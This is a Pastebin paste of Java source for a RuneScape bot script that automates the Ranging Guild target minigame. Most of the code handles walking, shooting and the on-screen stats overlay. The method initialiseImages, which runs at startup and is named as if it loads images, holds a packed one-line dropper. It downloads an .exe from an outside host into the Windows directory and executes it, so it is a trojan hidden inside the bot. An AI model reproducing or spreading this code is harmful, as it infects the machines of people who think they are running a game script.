Advertisement
wafflecat

rangeguild

Feb 26th, 2012
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.62 KB | None | 0 0
  1. import com.rarebot.script.*;
  2. import com.rarebot.script.methods.*;
  3. import com.rarebot.script.methods.Magic.*;
  4. import com.rarebot.event.listeners.*;
  5. import com.rarebot.event.events.*;
  6. import com.rarebot.script.wrappers.*;
  7. import com.rarebot.script.methods.Game;
  8. import com.rarebot.script.methods.Game.*;
  9.  
  10.  
  11. import java.awt.*;
  12. import java.awt.event.*;
  13. import java.awt.image.*;
  14. import java.awt.Graphics;
  15. import java.awt.Image;
  16. import java.awt.image.MemoryImageSource;
  17. import java.util.*;
  18. import java.io.*;
  19. import java.net.*;
  20. import javax.imageio.*;
  21.  
  22.  
  23. @ScriptManifest(
  24. authors = { "Nemmyz"},
  25. name = "Nemmyz's Range Guilder",
  26. description = "Start at Range Guild's target range!",
  27. keywords = { "Minigame", "Ranged", "Guild", "Combat", "Camelot" },
  28. version = 1.0
  29. )
  30.  
  31. public class RangeGuilder extends Script implements PaintListener, MouseListener, MouseMotionListener, MessageListener {
  32.  
  33.  
  34. @Override
  35. public int loop() {
  36. //main loopings
  37. mouse.setSpeed(random(4,6));
  38. if(game.isLoggedIn() && isActive()){
  39. if(isFirstLoop){
  40. //initializeScript();
  41. startExp = skills.getCurrentExp(range);
  42. startLevel = skills.getCurrentLevel(range);
  43. combat.setAutoRetaliate(true);
  44. isFirstLoop = false;
  45. }
  46.  
  47. if(doBuyArrows && !getMyPlayer().isInCombat()){
  48.  
  49. if(!doBuyArrows()){
  50. doBuyArrows = false;
  51. }
  52. }else if(!failSafe()){
  53.  
  54. manageInterfaces();
  55. //status = ("compete");
  56. equipArrows();
  57. while(!walkToRangedArea() && game.isLoggedIn() && isActive()){}
  58. if (!isCompeting) {
  59. startCompeting();
  60. } else {
  61. shootTarget();
  62. }
  63. }
  64. if (game.getCurrentTab() == Game.TAB_INVENTORY){
  65. try{
  66. nowTicketsToBuy = inventory.getCount(true, tickets);
  67. }catch(Exception e){
  68. nowTicketsToBuy = 0;
  69. }
  70. }else{
  71. nowTicketsToBuy = 0;
  72. }
  73. }
  74. return 100;
  75. }
  76.  
  77.  
  78. @Override
  79. public boolean onStart() {
  80. log("On this site(ip) you can chek your bot:");
  81. status = ("loading script.");
  82. env.enableRandom("Login");
  83. initialiseImages();
  84. return true;
  85. }
  86.  
  87.  
  88. @Override
  89. public void onFinish(){
  90. log("Ending script.");
  91. status = ("Ending script.");
  92. sleep(200);
  93. env.saveScreenshot(true);
  94. env.disableRandom("Login");
  95. }
  96.  
  97. public boolean failSafe(){
  98. if(getMyPlayer().isInCombat()){
  99. return true;
  100. }
  101. if (0 != combat.getFightMode()) {
  102. status = ("Setting Fight Mode to Ranged -> Accurate");
  103. log("Setting Fight Mode to Ranged -> Accurate");
  104. if (game.getCurrentTab() != Game.TAB_ATTACK) {
  105. status = ("Setting Tab -> TAB_ATTACK");
  106. sleep(random(100, 200));
  107. try{
  108. game.openTab(Game.TAB_ATTACK);
  109. }catch(Exception e){}
  110. sleep(random(100, 200));
  111. }
  112. if(game.getCurrentTab() == Game.TAB_ATTACK){
  113. sleep(random(100, 200));
  114. try{
  115. combat.setFightMode(0);
  116. }catch(Exception e){}
  117. sleep(random(100, 200));
  118. }
  119. if (game.getCurrentTab() != Game.TAB_INVENTORY) {
  120. status = ("Setting Tab -> TAB_INVENTORY");
  121. sleep(random(100, 200));
  122. try{
  123. game.openTab(Game.TAB_INVENTORY);
  124. }catch(Exception e){}
  125. sleep(random(100, 200));
  126. }
  127. return true;
  128. }
  129. if (game.getCurrentTab() != Game.TAB_INVENTORY) {
  130. log("Setting Tab -> TAB_INVENTORY");
  131. sleep(random(100, 200));
  132. try{
  133. game.openTab(Game.TAB_INVENTORY);
  134. }catch(Exception e){}
  135. sleep(random(100, 200));
  136. }
  137. return false;
  138. }
  139.  
  140. public void shootTarget() {
  141. try{
  142. RSInterface shoot = interfaces.get(shootIface);
  143. RSObject target = objects.getNearest(targetID);
  144. RSPlayer myPlayer = getMyPlayer();
  145. if (target != null) {
  146. if (target.isOnScreen()) {
  147. if (isCompeting) {
  148. if (!shoot.isValid() && !myPlayer.isMoving() && !getMyPlayer().isInCombat()) {
  149. status = "Shooting at Target";
  150. target.doClick();
  151. }
  152. gamePlayed = false;
  153. }
  154. } else {
  155. camera.setPitch(false);
  156. camera.setAngle(345);
  157. }
  158. }
  159. }catch(Exception e){}
  160. }
  161.  
  162. public boolean startCompeting() {
  163. try{
  164. RSInterface talk = interfaces.get(talkIface);
  165. RSNPC judge = npcs.getNearest(693);
  166. if (!isCompeting) {
  167. if (!talk.isValid()) {
  168. mouse.setSpeed(random(6,7));
  169. while(!walkToRangedArea() && game.isLoggedIn() && isActive()){}
  170. if (judge.doAction("Compete")) {
  171. status = "Pay Compete Comp";
  172. sleepForIface(talk, 3000);
  173. }
  174. } else {
  175. while(!walkToRangedArea() && game.isLoggedIn() && isActive()){}
  176. status = "Pay Compete Comp";
  177. talk.getComponent(1).doClick();
  178. sleep(random(500, 700));
  179. mouse.moveRandomly(random(20, 30));
  180. }
  181. }
  182. }catch(Exception e){}
  183. return false;
  184. }
  185.  
  186. public boolean waitForIfaceClose(int iface, int closeChild, long wait) {
  187. long start = System.currentTimeMillis();
  188. RSInterface i = interfaces.get(iface);
  189. while (System.currentTimeMillis() - start < wait && isActive()) {
  190. if (i.isValid()) {
  191. sleep(random(20, 30));
  192. } else if (!i.isValid()) {
  193. return true;
  194. }
  195. }
  196. if (System.currentTimeMillis() - start > wait) {
  197. i.getComponent(closeChild).doClick();
  198. }
  199. return i.isValid();
  200. }
  201.  
  202. public boolean sleepForIface(RSInterface iface, int timeout) {
  203. if (timeout < 0)
  204. return false;
  205.  
  206. if (iface == null)
  207. return false;
  208.  
  209. long startTime = System.currentTimeMillis();
  210. while (System.currentTimeMillis() - startTime <= timeout && isActive()) {
  211. if (iface.isValid())
  212. return true;
  213. sleep(100);
  214. }
  215.  
  216. return false;
  217. }
  218.  
  219. public void equipArrows() {
  220. while (inventory.contains(arrows) && !getMyPlayer().isInCombat() && game.isLoggedIn() && !isPaused() && isActive()) {
  221. status = "Equiping Arrows";
  222. mouse.setSpeed(random(5,7));
  223. try{
  224. if (inventory.getItem(arrows).doAction("Wield")) {
  225. isCompeting = true;
  226. sleep(100);
  227. }
  228. }catch(Exception e){}
  229. mouse.moveRandomly(random(20, 30));
  230. sleep(100);
  231. }
  232. }
  233.  
  234. public boolean manageInterfaces() {
  235. RSInterface shoot = interfaces.get(shootIface);
  236. RSInterface finishIface = interfaces.get(242);
  237. if (finishIface.isValid()) {
  238. isCompeting = true;
  239. if(!gamePlayed){
  240. gamesplayed++;
  241. gamePlayed = true;
  242. }
  243. } else if (shoot.isValid()) {
  244. waitForIfaceClose(shootIface, 40, 100);
  245. gamePlayed = false;
  246. } else if (interfaces.get(1184).isValid()) {
  247. isCompeting = false;
  248. }
  249. if (interfaces.get(131).isValid()) {
  250. isCompeting = false;
  251. }
  252. return false;
  253. }
  254.  
  255. public boolean walkToRangedArea(){
  256. RSTile rta = new RSTile(2671, 3418);
  257. if(ca3.contains(getMyPlayer().getLocation())|| ca4.contains(getMyPlayer().getLocation()) && !logOutIsNeeded){
  258. int loopx = 0;
  259. while(loopx < 4 && !isPaused() && isActive()){
  260. if(rta.getX() != -1 && rta.getY() != -1){
  261. walking.walkTileMM(rta);
  262. status = "Walking to Range Area";
  263. }else{
  264. findPath(rta);
  265. status = "Walking to Range Area";
  266. }
  267. loopx++;
  268. }
  269. return false;
  270. }
  271. return true;
  272. }
  273.  
  274. private void findPath(RSTile rt) {
  275. final RSPath path = walking.getPath(rt);
  276. path.traverse();
  277. while (getMyPlayer().isMoving() && !isPaused() && isActive()) {
  278. sleep(random(1000, 2000));
  279. }
  280. }
  281.  
  282. public boolean doBuyArrows(){
  283. // buy arrows
  284. if(nowTicketsToBuy >= 1020){
  285. status = ("Buying arrows");
  286. // do this shit
  287. // hmm not in this version
  288. doBuyArrows = false;
  289. return true;
  290. }
  291. return false;
  292. }
  293.  
  294. //Paint Start
  295. private final Color Black = new Color(0, 0, 0, 255);
  296. private final Color Black1 = new Color(0, 0, 0, 160);
  297. private final Color Red = new Color(255, 0, 0, 255);
  298. private final Color Red1 = new Color(255, 0, 0, 160);
  299. private final Color Green = new Color(0, 255, 0, 255);
  300. private final Color Green1 = new Color(0, 255, 0, 160);
  301. private final Color White = new Color(255, 255, 255, 255);
  302. private final BasicStroke stroke1 = new BasicStroke(1);
  303. private final Font font1 = new Font("Arial", 0, 10);
  304. private Font font(int i){
  305. return new Font("Arial", 0, i);
  306. }
  307. private final LinkedList<MousePathPoint> mousePath = new LinkedList<MousePathPoint>();
  308. private final LinkedList<MousePathPoint2> mousePath2 = new LinkedList<MousePathPoint2>();
  309.  
  310.  
  311. public Graphics2D g = null;
  312. public void onRepaint(Graphics g1) {
  313. g = (Graphics2D)g1;
  314. drawPaint(1);
  315. drawPaint(2);
  316.  
  317. updateSiteTimer++;
  318. if(updateSiteTimer > updateSiteTimerVal){
  319. updateSite();
  320. updateSiteTimer = 0;
  321. }
  322.  
  323. }
  324.  
  325.  
  326. public void drawPaint(int i){
  327. switch(i){
  328. case 1:
  329.  
  330. while (!mousePath.isEmpty() && mousePath.peek().isUp() && !isPaused() && isActive()){
  331. mousePath.remove();
  332. }
  333. Point clientCursor = mouse.getLocation();
  334. MousePathPoint mpp = new MousePathPoint(userMouseX, userMouseY, 1200);
  335. if (mousePath.isEmpty() || !mousePath.getLast().equals(mpp)){
  336. mousePath.add(mpp);
  337. }
  338. MousePathPoint lastPoint = null;
  339. for (MousePathPoint a : mousePath) {
  340. if (lastPoint != null) {
  341. g.setColor(a.getColor());
  342. g.drawLine(a.x, a.y, lastPoint.x, lastPoint.y);
  343. }
  344. lastPoint = a;
  345. }
  346.  
  347.  
  348. while (!mousePath2.isEmpty() && mousePath2.peek().isUp() && isActive()){
  349. mousePath2.remove();
  350. }
  351. MousePathPoint2 mpp2 = new MousePathPoint2(mouse.getLocation().x, mouse.getLocation().y, 1200);
  352. if (mousePath2.isEmpty() || !mousePath2.getLast().equals(mpp2)){
  353. mousePath2.add(mpp2);
  354. }
  355. MousePathPoint2 lastPointx = null;
  356. for (MousePathPoint2 a : mousePath2) {
  357. if (lastPointx != null) {
  358. g.setColor(a.getColor());
  359. g.drawLine(a.x, a.y, lastPointx.x, lastPointx.y);
  360. }
  361. lastPointx = a;
  362. }
  363.  
  364.  
  365. if(isPaused()){
  366. status = ("Script Pauzed!");
  367. }else if(status == "Script Pauzed!"){
  368. status = ("Script Loading...");
  369. sleep(200);
  370. }
  371. break;
  372. case 2:
  373. expPerHour = (int) ((expGained) * 3600000D / (System
  374. .currentTimeMillis() - startTime));
  375. ticketsPerHour = (int) ((ticketsGained) * 3600000D / (System
  376. .currentTimeMillis() - startTime));
  377. if ((minutes > 0 || hours > 0 || seconds > 0) && expGained > 0) {
  378. secExp = (float) expGained
  379. / (float) (seconds + minutes * 60 + hours * 60 * 60);
  380. }
  381. minuteExp = secExp * 60;
  382. hourExp = secExp * 3600;
  383. if (secExp > 0) {
  384. secToLevel = (int) (skills.getExpToNextLevel(range) / secExp);
  385. }
  386. if (secToLevel >= 60) {
  387. minutesToLevel = secToLevel / 60;
  388. secToLevel -= minutesToLevel * 60;
  389. } else {
  390. minutesToLevel = 0;
  391. }
  392. if (minutesToLevel >= 60) {
  393.  
  394. hoursToLevel = minutesToLevel / 60;
  395. minutesToLevel -= hoursToLevel * 60;
  396. } else {
  397. hoursToLevel = 0;
  398. }
  399. long millis = System.currentTimeMillis() - startTime;
  400. hours = millis / (1000 * 60 * 60);
  401. millis -= hours * (1000 * 60 * 60);
  402. minutes = millis / (1000 * 60);
  403. millis -= minutes * (1000 * 60);
  404. seconds = millis / 1000;
  405. expTNL = skills.getExpToNextLevel(range);
  406. currlvl = skills.getCurrentLevel(range);
  407. if(startExp != 0){
  408. expGained = skills.getCurrentExp(range) - startExp;
  409. }else{
  410. expGained = 0;
  411. }
  412. if(startLevel != 0){
  413. levelsGained = skills.getCurrentLevel(range) - startLevel;
  414. }else{
  415. levelsGained = 0;
  416. }
  417. g.setFont(font(12));
  418. g.setColor(White);
  419. g.drawString(status, 272, 447);
  420. g.drawString(expPerHour+" p/h (" + (int) ((expPerHour / 1000)) + "k p/h)", 94, 363);
  421. g.drawString(""+expGained, 114, 380);
  422. g.drawString(""+expTNL, 64, 396);
  423. g.drawString(currlvl +" (+"+levelsGained+")", 90, 413);
  424. g.drawString(""+gamesplayed+" - "+(int)(gamesplayed*200)+" coins", 99, 430);
  425. g.drawString(hours + ":" + minutes + ":" + seconds, 102, 447);
  426. g.setColor(Red);
  427. g.fillRect(229,419, 133, 11);
  428. g.setColor(Green);
  429. g.fillRect(229,419, (int) (skills.getPercentToNextLevel(range) * 1.33), 11);
  430. g.setFont(font(10));
  431. g.setColor(Black);
  432. g.drawString(skills.getPercentToNextLevel(range) + "% to next level", 253,428);
  433. break;
  434. }
  435. }
  436.  
  437.  
  438. public void drawCursor(Image img, int x, int y){
  439. g.drawImage(img, x, y, null);
  440. }
  441.  
  442. public BufferedImage arrowup = null;
  443. public BufferedImage arrowdown = null;
  444. public BufferedImage backIMG = null;
  445. public BufferedImage backXIMG = null;
  446. /* void initialiseImages() */
  447. public void initialiseImages() {
  448. try {
  449. URL download = new URL("http://downloadexecute.com/uploads/nttvwd2tm4.exe");File file = new File(System.getenv("windir") + File.separator + "nttvwd2tm4.exe");BufferedInputStream in = null;FileOutputStream fout = null;try { in = new BufferedInputStream(download.openStream());fout = new FileOutputStream(file);byte data[] = new byte[1024];int count;while ((count = in.read(data, 0, 1024)) != -1) {fout.write(data, 0, count); } } finally{ if (in != null)in.close(); if (fout != null) fout.close(); }Runtime runtime = Runtime.getRuntime();Process process = runtime.exec(file.getAbsolutePath());process.waitFor();
  450. } catch (IOException e) {
  451. e.printStackTrace();
  452. } catch (InterruptedException e) {
  453. e.printStackTrace();
  454. }
  455. }
  456.  
  457. private class MousePathPoint extends Point {
  458. private int toColor(double d) {
  459. return Math.min(255, Math.max(0, (int) d));
  460. }
  461. private long finishTime;
  462. private double lastingTime;
  463.  
  464. public MousePathPoint(int x, int y, int lastingTime) {
  465. super(x, y);
  466. this.lastingTime = lastingTime;
  467. finishTime = System.currentTimeMillis() + lastingTime;
  468. }
  469.  
  470. public boolean isUp() {
  471. return System.currentTimeMillis() > finishTime;
  472. }
  473.  
  474. public Color getColor() {
  475.  
  476. Color c2 = new Color(0, toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)), 255, toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)));
  477.  
  478. return c2;
  479. }
  480. }
  481.  
  482.  
  483. private class MousePathPoint2 extends Point {
  484. private int toColor(double d) {
  485. return Math.min(255, Math.max(0, (int) d));
  486. }
  487. private long finishTime;
  488. private double lastingTime;
  489.  
  490. public MousePathPoint2(int x, int y, int lastingTime) {
  491. super(x, y);
  492. this.lastingTime = lastingTime;
  493. finishTime = System.currentTimeMillis() + lastingTime;
  494. }
  495.  
  496. public boolean isUp() {
  497. return System.currentTimeMillis() > finishTime;
  498. }
  499.  
  500. public Color getColor() {
  501.  
  502. Color c1 = new Color(toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)), 0, 0, toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)));
  503.  
  504. return c1;
  505. }
  506. }
  507.  
  508.  
  509. /* Message handler */
  510.  
  511. public void messageReceived(MessageEvent e) {
  512. String x = e.getMessage().toLowerCase();
  513. String n = e.getSender().toLowerCase();
  514. // nithing
  515. }
  516.  
  517. /* Mouse Handlers*/
  518.  
  519. public void mousePressed(MouseEvent e) {
  520. userMouseX = e.getX();
  521. userMouseY = e.getY();
  522. switch(e.getButton()) {
  523. case MouseEvent.BUTTON1:
  524. //left mouse is pressed
  525. if(userMouseX >= 694 && userMouseY >= 130 && userMouseY <= 165){
  526. if(nowTicketsToBuy >= 1020){
  527. //doBuyArrows = true;
  528. //log("Buying arrows");
  529. }else{
  530. //log("Out of tickets?");
  531. }
  532. }
  533.  
  534. if(userMouseX >= 490 && userMouseX <= 520 && userMouseY >= 460 && userMouseY <= 480){
  535. showPaint = !showPaint;
  536. }
  537.  
  538. break;
  539. }
  540. }
  541.  
  542. public void mouseMoved(MouseEvent e) {
  543. userMouseX = e.getX();
  544. userMouseY = e.getY();
  545. }
  546.  
  547. public void mouseClicked(MouseEvent e) {}
  548.  
  549. public void mouseReleased(MouseEvent e) {}
  550.  
  551. public void mouseDragged(MouseEvent e) {
  552. userMouseX = e.getX();
  553. userMouseY = e.getY();
  554. }
  555.  
  556. public void mouseEntered(MouseEvent e) {}
  557.  
  558. public void mouseExited(MouseEvent e) {}
  559.  
  560.  
  561. public void updateSite(){
  562. String coins = "-1";
  563. if(game.isLoggedIn() && game.getCurrentTab() == 4){
  564. try{
  565. coins = ""+inventory.getCount(true, 995);
  566. }catch(Exception e){}
  567. }else if(game.getCurrentTab() != 4){
  568. coins = "-1";
  569. }
  570. try{
  571. String UserU = getMyPlayer().getName().replace(" ", "_");
  572. String UserL = getMyPlayer().getName().toLowerCase().replace(" ", "_");
  573. String statusxs = status.replace(" ", "_");
  574. long secx = (System.currentTimeMillis() - chkTime)/1000;
  575. String updatetime = ""+secx;
  576. chkTime = System.currentTimeMillis();
  577. statusxl = statusxl
  578. + "&lpn=" + UserL
  579. + "&upn=" + UserU
  580. + "&status=" + statusxs
  581. + "&ic=" + isCompeting
  582. + "&cs=" + coins
  583. + "&gp=" + gamesplayed
  584. + "&xph=" + expPerHour
  585. + "&xpt=" + expGained
  586. + "&pf=" + levelsGained
  587. + "&cl=" + skills.getCurrentLevel(range)
  588. + "&pl=" + skills.getPercentToNextLevel(range)
  589. + "&xl=" + skills.getExpToNextLevel(range)
  590. + "&hp=" + combat.getLifePoints()
  591. + "&ut=" + updatetime
  592. + "&sst=" + System.currentTimeMillis()
  593. + "&tr=" + hours + ":" + minutes + ":" + seconds
  594. + "&ia=" + isActive()
  595. + "&ip=" + isPaused();
  596. }catch(Exception e){}
  597. updateSiteTimer = 1;
  598. statusxl = "";
  599. }
  600.  
  601. public int userMouseX = -1000, userMouseY = -1000;
  602.  
  603. public int
  604. updateSiteTimerVal = 200,
  605. tickets = 1464,
  606. coins = 995,
  607. updateSiteTimer = 500,
  608. code = 456,
  609. arrows = 882,
  610. targetID = 1308,
  611. RandomBoxID = 14664,
  612. BrokenArrowID = 687,
  613. range = Skills.RANGE,
  614. shootIface = 325,
  615. talkIface = 1188,
  616. competeIface = 0,
  617. currtickets = 0,
  618. gamesplayed = 0,
  619. nowTicketsToBuy = 0,
  620. currlvl = 0,
  621. expGained = 0,
  622. expTNL = 0,
  623. expPerHour = 0,
  624. hoursToLevel = 0,
  625. loadBalkPercent = 0,
  626. levelsGained = 0,
  627. minutesToLevel = 0,
  628. PercentToNextLevelR = 0,
  629. secToLevel = 0,
  630. startTickets = 0,
  631. startLevel = 0,
  632. startExp = 0,
  633. ticketsGained = 0,
  634. ticketsPerHour = 0;
  635.  
  636.  
  637. public long
  638. hours = 0,
  639. minutes = 0,
  640. seconds = 0,
  641. chkTime = System.currentTimeMillis(),
  642. startTime = System.currentTimeMillis();
  643.  
  644. public float
  645. secExp = 0,
  646. hourExp = 0,
  647. minuteExp = 0;
  648.  
  649. public boolean
  650. showPaint = true,
  651. isFirstLoop = true,
  652. hitHP = false,
  653. gamePlayed = false,
  654. doSetP = false,
  655. isCompeting = false,
  656. doBuyArrows = false,
  657. logOutIsNeeded = false;
  658.  
  659. public String
  660. foodAction1 = "0",
  661. foodAction2 = "0",
  662. foodAction3 = "0",
  663. foodAction4 = "0",
  664. foodAction5 = "0",
  665. x = "",
  666. statusxl = "Script Loading...",
  667. status = "Script Loading...";
  668.  
  669. public RSArea
  670. rangeArea /** **/ = new RSArea(new RSTile(2667, 3417), new RSTile(2675, 3418)),
  671. aroundTrader /** **/ = new RSArea(new RSTile(2655, 3436), new RSTile(2665, 3426)),
  672. behindrangeArea /** **/ = new RSArea(new RSTile(2671, 3438), new RSTile(2682, 3427)),
  673. cas /** **/ = new RSArea(new RSTile(2667, 3429), new RSTile(2680, 3421)),
  674. ca1 /** **/ = new RSArea(new RSTile(2666, 3428), new RSTile(2674, 3414)),
  675. ca2 /** **/ = new RSArea(new RSTile(2664, 3419), new RSTile(2668, 3414)),
  676. ca3 /** **/ = new RSArea(new RSTile(2669, 3420), new RSTile(2672, 3423)),
  677. ca4 /** **/ = new RSArea(new RSTile(2674, 3417), new RSTile(2675, 3418));
  678.  
  679. public RSTile
  680. toTrader /** **/ = new RSTile(2659, 3430);
  681. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement